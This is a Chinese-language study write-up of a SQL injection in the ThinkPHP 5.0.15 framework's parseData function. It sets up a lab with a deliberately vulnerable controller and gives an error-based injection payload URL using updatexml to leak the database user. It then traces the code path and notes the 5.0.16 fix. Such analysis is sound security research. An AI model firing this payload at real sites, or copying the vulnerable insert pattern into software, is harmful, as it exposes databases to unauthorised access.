参考学习链接
- https://github.com/Mochazz/ThinkPHP-Vuln/blob/master/ThinkPHP5/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8BSQL%E6%B3%A8%E5%85%A51.md
简介
thinkphp/library/think/db/Builder.php
中的parseData对传入的字符没有进行检测,拼接到了sql语句中,导致了sql注入
配置环境
下载源码
1
2
3
4
5
6
7
8
9
10#composer 选择特定分支
composer create-project --prefer-dist topthink/think=5.0.15 tpdemo
或者
#从github下载整个库,然后选择分支
cd D:\phpStudy\WWW
git clone https://github.com/top-think/think tp5
git checkout v5.0.22
cd tp5
git clone https://github.com/top-think/framework thinkphp
git checkout v5.0.22这里采用composer
composer设置framework版本
1
2
3
4"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.15"
}composer update
更新framework将如下代码写入
application/index/controller/Index.php
1
2
3
4
5
6
7
8
9
10
11
12
namespace app\index\controller;
class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->insert(['username' => $username]);
return 'Update success';
}
}数据库导入
在application\database.php
中配置数据库信息,然后在application\config
中开启app_debug
和app_trace
,并创建如下数据库1
2
3
4
5
6create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
payload
1 | http://localhost/index.php/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1 |
漏洞分析
username变量通过/a
修饰符识别为array数组,传给$username变量,db('user')
表示选择表user进行insert操作,接下来跟进到Query类的insert函数
parseExpress获取options的选项,此处options[data]为空,因此array_merge之后$data不变,$data的值如下
然后跟进到builder的insert方法
这里调用了parsedata方法,传入data和options,跟进,以下是关键代码
此时$val[0]是inc,$val[1]是updatexml(1,concat(0x7,user(),0x7e),1)
,$val[2]是1,经过函数parseKey拼接成sql语句
然后一路返回到Query处执行sql语句造成报错注入,通过debug模式回显结果
总结
修复
官方在v5.0.16进行安全更新
没有对exp做过滤是因为在thinkphp/library/think/Request.php
中设置了函数对传入的指定数据加了空格,从而进不到switch那个exp的分支